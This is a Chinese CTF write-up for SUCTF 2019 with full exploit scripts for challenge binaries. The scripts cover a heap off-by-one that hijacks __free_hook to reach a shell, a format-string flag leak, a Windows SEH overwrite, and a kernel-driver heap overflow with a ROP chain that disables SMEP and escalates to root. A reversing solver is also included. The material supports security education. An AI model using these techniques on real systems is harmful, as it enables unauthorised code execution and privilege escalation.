不算很难的比赛,但就是拿不到好成绩。值得反思。
题目文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/suctf2019 。
目录
pwn
二手破电脑
先从简单的开始,很明显的off by one
。
char *__cdecl get_name(size_t size)
{
char *malloc_ptr; // ST10_4
char *result; // eax
char v3[16]; // [esp+4h] [ebp-14h]
*(_DWORD *)&v3[8] = __readgsdword(0x14u);
if ( size > 0x1FF )
size = 512;
malloc_ptr = (char *)malloc(size);
strcpy(v3, "%");
sprintf(&v3[1], (const char *)&unk_14E0, size);
__isoc99_scanf(v3, malloc_ptr);
result = malloc_ptr;
if ( __readgsdword(0x14u) != *(_DWORD *)&v3[8] )
end();
return result;
}
由于scanf
有null截断
,所以当size刚好使得chunk对齐时,则可以off by one
给下一个chunk的size的低字节写0
。
泄露点:
struc_1 *__cdecl Comment(struc_1 **a1)
{
struc_1 *v1; // esi
struc_1 *result; // eax
int index; // [esp+8h] [ebp-10h]
int v4; // [esp+Ch] [ebp-Ch]
printf("Index: ");
__isoc99_scanf("%d", &index);
if ( index < 0 || index > 9 || !a1[index] || a1[index]->comment )
return (struc_1 *)puts("Too young");
printf("Comment on %s : ", a1[index]->name);
v1 = a1[index];
v1->comment = (int)malloc(0x8Cu);
read(0, (void *)a1[index]->comment, 0x8Cu);
printf("And its score: ");
__isoc99_scanf("%d", &v4);
result = a1[index];
result->score = v4;
return result;
}
Comment
函数 利用 read
来读取输入,意味着没有null截断
,则我们可以泄露heap当中的脏数据。
思路
注意要布置好 heap 结构,这样利用的时候会方便很多。
- 泄露libc信息
Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')
Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))
- off by one 使得 chunk extend
Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)
- 泄露 heap 信息,然后 chunk overlap 修改 fastbin 的 fd 来控制总结构(原本想用 one gadget 来做的,但是由于当时没有 libc ,所以就想方法劫持 __free_hook)
Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') #
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))
Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') #
# pause()
Throw(2)
- 利用结构体的特点来踩
size
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))
- 劫持 hook
Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')
Throw(5)
sh.interactive()
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.111.59.243', 10001)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x86/lib/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x12BA)
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
def Purchase(length, name):
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(length))
sh.sendafter('Name: ', name)
sh.sendlineafter('Price: ', str(1))
def Comment(index, comment):
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendafter(' : ', comment)
sh.sendlineafter('And its score: ', str(1))
def Throw(index):
sh.sendlineafter('>>> ', '3')
sh.sendlineafter('WHICH IS THE RUBBISH PC? Give me your index: ', str(index))
Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')
Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))
libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))
Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)
Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') #
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))
Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') #
# pause()
Throw(2)
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))
Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')
Throw(5)
sh.interactive()
clear()
playfmt
程序开始的时候已经将 flag 读到heap中了,我们的任务仅仅是要将其泄露出来。
本题并不依赖于 libc ,即使 libc 不同对于漏洞的利用也并不影响。
溢出点
格式化字符串漏洞,buf并不在栈上。
int do_fmt(void)
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
遇到这种题先观察其栈结构:
Breakpoint *0x0804889F
pwndbg> stack
00:0000│ esp 0xffe040f0 —▸ 0x804b040 (buf) ◂— '%6$p\n'
01:0004│ 0xffe040f4 —▸ 0x8048cac ◂— jno 0x8048d23 /* 'quit' */
02:0008│ 0xffe040f8 ◂— 0x4
03:000c│ 0xffe040fc —▸ 0x80488e8 (logo()+59) ◂— add esp, 0x10
04:0010│ 0xffe04100 —▸ 0x8048cb1 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffe04104 —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
06:0018│ ebp 0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158 ◂— 0x0
07:001c│ 0xffe0410c —▸ 0x80488f0 (logo()+67) ◂— call 0x804884b
pwndbg>
08:0020│ 0xffe04110 —▸ 0xf7e28000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x195db0
09:0024│ 0xffe04114 ◂— 0x0
0a:0028│ 0xffe04118 —▸ 0xffe04158 ◂— 0x0
0b:002c│ 0xffe0411c —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
0c:0030│ 0xffe04120 —▸ 0xf7e28d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0d:0034│ 0xffe04124 ◂— 0x0
0e:0038│ 0xffe04128 —▸ 0xffe04158 ◂— 0x0
0f:003c│ 0xffe0412c —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
pwndbg>
10:0040│ 0xffe04130 —▸ 0xf7e283dc (__exit_funcs) —▸ 0xf7e291e0 (initial) ◂— 0x0
11:0044│ 0xffe04134 ◂— 0x0
12:0048│ 0xffe04138 —▸ 0x96fea28 —▸ 0xf7e287b0 (main_arena+48) —▸ 0x96fee60 ◂— 0x0
13:004c│ 0xffe0413c —▸ 0x96fee30 ◂— 0x0
... ↓
17:005c│ 0xffe0414c —▸ 0xf7ca99fb (__libc_start_main+412) ◂— jmp 0xf7ca9a49
在0018
的位置(0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158
),由于其已经成链,直接攻击即可。
思路
- 泄露栈信息和堆信息
sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))
- 检测是否能一次性修改,不能则抛出异常,这里成功的概率应该在
1/100
以内
sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
raise Exception("stack")
- printf 成链攻击,泄露flag
one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'
# pause()
sh.send(payload)
sh.recvline()
# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()
sh.send('%18$s\n\0')
脚本
概率在 1/100
以为。
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './playfmt'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file, env={'LD_LIBRARY_PATH': '/usr/lib32/'})
# sh = remote('120.78.192.35', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x0804889F
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))
sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
raise Exception("stack")
one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'
# pause()
sh.send(payload)
sh.recvline()
# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()
sh.send('%18$s\n\0')
sh.interactive()
clear()
BabyStack
这个和HITB GSEC BABYSTACK
很像,就是开始的时候加上了一个除0 异常机制。由于本人闲的无聊,把除0 操作的花指令 patch 了一下, 而且没有备份,所以只能用
patched 的程序来讲,但并不影响思路。
loc_40853C:
add ecx, esp
add eax, ecx
push eax
nop
pop eax
mov esi, [ebp+var_2C]
sub esi, eax
div esi
这里我 patch 成要对应的 栈地址才行,反正难度差不多,由于开始的时候已经给出了栈地址和程序基地址,所以这里的值也是很好计算的。
完成除0 异常之后,便是熟悉的HITB GSEC BABYSTACK
,这里就不赘述了。
思路
- 触发除0 异常
sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))
- 控制SEH,然后控制程序流
# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))
# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 18696,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
sh = remote('', 0)
def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)
sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))
sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))
# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))
# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))
SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 18696,
]
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)
# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')
sh.interactive()
sudrv
这里我实在没有想到还可以看 kernel 信息来进行地址泄露的,感觉有点掩耳盗铃。
溢出点
驱动的write
没有size限制,存在堆溢出。
signed __int64 __cdecl sudrv_write(void *buf, char *b, size_t length)
{
JUMPOUT(copy_user_generic_unrolled(su_buf), 0, sudrv_write_cold_1);
return -1LL;
}
由于程序没有给我们debug版本,我们是没有符号表的,自然很难确定commit_creds
和prepare_kernel_cred
的地址。但是我们可以将启动脚本直接改成root。然后直接cat /proc/kallsyms
,即可以获得所有函数的地址信息,并计算出其对应的偏移。注意必须要root查看才行。
接下来让我们来看看栈布局:
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
0xffffffffc0000028 <sudrv_ioctl+8> cmp esi, 0xdeadbeef
0xffffffffc000002e <sudrv_ioctl+14> je sudrv_ioctl+88 <0xffffffffc0000078>
↓
0xffffffffc0000078 <sudrv_ioctl+88> mov rdi, qword ptr [rip + 0x23c1] <0xffffffffc0002440>
0xffffffffc000007f <sudrv_ioctl+95> test rdi, rdi
0xffffffffc0000082 <sudrv_ioctl+98> jne sudrv_ioctl.cold <0xffffffffc00000b8>
↓
► 0xffffffffc00000b8 <sudrv_ioctl.cold> call 0xffffffff810af609
0xffffffffc00000bd <sudrv_ioctl.cold+5> jmp sudrv_ioctl+24 <0xffffffffc0000038>
0xffffffffc00000c2 call 0xffffffff819ed280
0xffffffffc00000c7 call 0xffffffff819ed2c0
0xffffffffc00000cc <sudrv_exit> mov rdi, -0x3fffef70
0xffffffffc00000d3 <sudrv_exit+7> call 0xffffffff810af609
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000073be80 —▸ 0xffffffff811c827f ◂— mov ebx, eax /* 0xffffffdfd3dc389 */
01:0008│ 0xffffc9000073be88 ◂— add byte ptr [rax - 0xadc1fc0], al /* 0x5822f523e0408000 */
02:0010│ 0xffffc9000073be90 ◂— 2
03:0018│ 0xffffc9000073be98 —▸ 0xffffffff8229a268 ◂— 0
04:0020│ 0xffffc9000073bea0 —▸ 0xffffc9000073bed8 —▸ 0xffff8880068b7600 ◂— 0
05:0028│ 0xffffc9000073bea8 ◂— out dx, eax /* 0xdeadbeef */
06:0030│ 0xffffc9000073beb0 —▸ 0xffff8880068b7600 ◂— 0
07:0038│ 0xffffc9000073beb8 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
► f 0 ffffffffc00000b8 sudrv_ioctl.cold
可以看到第六个参数0xffffffff811c827f
可以泄露 kernel
基地址,而第十个参数0xffffc9000073bed8
可以泄露 栈地址。
思路
- 泄露信息,得到栈地址和 kernel 基地址
ioctl(fd, 0x73311337, 0xff0); // kmalloc
write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
// s();
ioctl(fd, 0xDEADBEEF, 0); // printk
printf("Input kernel: ");
scanf("%p", (char **)&kernel_addr);
kernel_addr -= 0x1c827f;
offset = kernel_addr - 0xFFFFFFFF81000000;
printf("kernel_addr: 0x%llx\n\n", kernel_addr);
printf("Input stack: ");
scanf("%p", (char **)&stack_addr);
getchar();
stack_addr &= 0xfffffffffffff000;
printf("stack_addr: 0x%llx\n\n", stack_addr);
- 清理内存碎片,为了得到连续的内存空间
for (i = 0; i < 0x140; i++)
{
ioctl(fd, 0x73311337, 0xff0);
}
之后申请的0x1000
的内存都是相邻的。
- 利用堆溢出修改下一个内存块的 next 指针,使其指向栈地址,并将其从slab中拿出。然后我们就可以控制栈了。
*(unsigned long long *)(buf + 0x1000) = stack_addr;
write(fd, buf, 0x1008);
ioctl(fd, 0x73311337, 0xff0);
ioctl(fd, 0x73311337, 0xff0);
- 在栈上填充 ret 指令来进行滑栈
#define PADDING 0xf00
for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
{
*(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
}
- ROP 提权拿shell
rop = (unsigned long long *)(buf + PADDING);
*rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
*rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
*rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
*rop++ = offset + 0xffffffff81081410; // commit_creds
*rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
*rop++ = 0x6f0;
*rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;
*rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
*rop++ = 0;
*rop++ = offset + 0xffffffff81021762; // iretq; ret;
*rop++ = (unsigned long long)shell;
*rop++ = user_cs;
*rop++ = user_eflags;
*rop++ = user_sp;
*rop++ = user_ss;
write(fd, buf, 0x1000);
代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>
void s()
{
puts("Paused (press any to continue)");
getchar();
}
void shell()
{
system("/bin/sh");
exit(0);
}
unsigned long long user_cs, user_ss, user_eflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp));
}
int main()
{
int fd, i;
unsigned long long kernel_addr, stack_addr, *rop, offset;
char buf[0x2000];
setbuf(stdout, NULL);
save_status();
signal(SIGSEGV, shell);
if ((fd = open("/dev/meizijiutql", O_RDWR)) == -1)
{
fprintf(stderr, "open error: %m\n");
exit(1);
}
ioctl(fd, 0x73311337, 0xff0); // kmalloc
write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
// s();
ioctl(fd, 0xDEADBEEF, 0); // printk
printf("Input kernel: ");
scanf("%p", (char **)&kernel_addr);
kernel_addr -= 0x1c827f;
offset = kernel_addr - 0xFFFFFFFF81000000;
printf("kernel_addr: 0x%llx\n\n", kernel_addr);
printf("Input stack: ");
scanf("%p", (char **)&stack_addr);
getchar();
stack_addr &= 0xfffffffffffff000;
printf("stack_addr: 0x%llx\n\n", stack_addr);
for (i = 0; i < 0x140; i++)
{
ioctl(fd, 0x73311337, 0xff0);
}
#define PADDING 0xf00
for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
{
*(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
}
*(unsigned long long *)(buf + 0x1000) = stack_addr;
write(fd, buf, 0x1008);
ioctl(fd, 0x73311337, 0xff0);
ioctl(fd, 0x73311337, 0xff0);
rop = (unsigned long long *)(buf + PADDING);
*rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
*rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
*rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
*rop++ = offset + 0xffffffff81081410; // commit_creds
*rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
*rop++ = 0x6f0;
*rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;
*rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
*rop++ = 0;
*rop++ = offset + 0xffffffff81021762; // iretq; ret;
*rop++ = (unsigned long long)shell;
*rop++ = user_cs;
*rop++ = user_eflags;
*rop++ = user_sp;
*rop++ = user_ss;
write(fd, buf, 0x1000);
}
运行实例:
/tmp $ id
id
uid=1000 gid=1000 groups=1000
/tmp $ ./a.out
./a.out
[ 75.624593] SU Device opened
[ 75.625318] Write!
[ 75.625529] deadbeef 0 0 b 0 kernel: 0xffffffff91fc827f 53945dd4b5d34900 2 ffffffff9309a268 stack: 0xffffa013c015bed8 deadbeef ffff93f943c13c00 0 0
Input kernel: 0xffffffff91fc827f
0xffffffff91fc827f
kernel_addr: 0xffffffff91e00000
Input stack: 0xffffa013c015bed8
0xffffa013c015bed8
stack_addr: 0xffffa013c015b000
/tmp # id
id
uid=0 gid=0
/tmp #
RE
hardcpp
去平坦化后,稍微分析一下就能出结果。
#include <stdio.h>
#include <string.h>
char f(char x, char x1)
{
return ((x % 7) + x1) ^ ((x ^ 18) * 3 + 2);
}
char printable[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
#define LENGTH 0x100
char enc[] = {0xf3, 0x2e, 0x18, 0x36, 0xe1, 0x4c, 0x22, 0xd1, 0xf9, 0x8c, 0x40, 0x76, 0xf4, 0x0e, 0x00, 0x05, 0xa3, 0x90, 0x0e};
void next(char *str)
{
int i, ii;
for (i = 1; i < sizeof(enc); i++)
{
for (ii = 0; ii < LENGTH; ii++)
{
if (f(str[i], printable[ii]) == enc[i])
{
str[i + 1] = printable[ii];
if (i > sizeof(enc) - 2)
{
puts(str);
}
}
}
}
}
int main()
{
int i, ii;
char buf[0x100] = {0};
for (i = 0; i < LENGTH; i++)
{
for (ii = 0; ii < LENGTH; ii++)
{
if (f(printable[i], printable[ii]) == enc[0])
{
memset(buf, 0, 0x100);
buf[0] = printable[i];
buf[1] = printable[ii];
next(buf);
}
}
}
}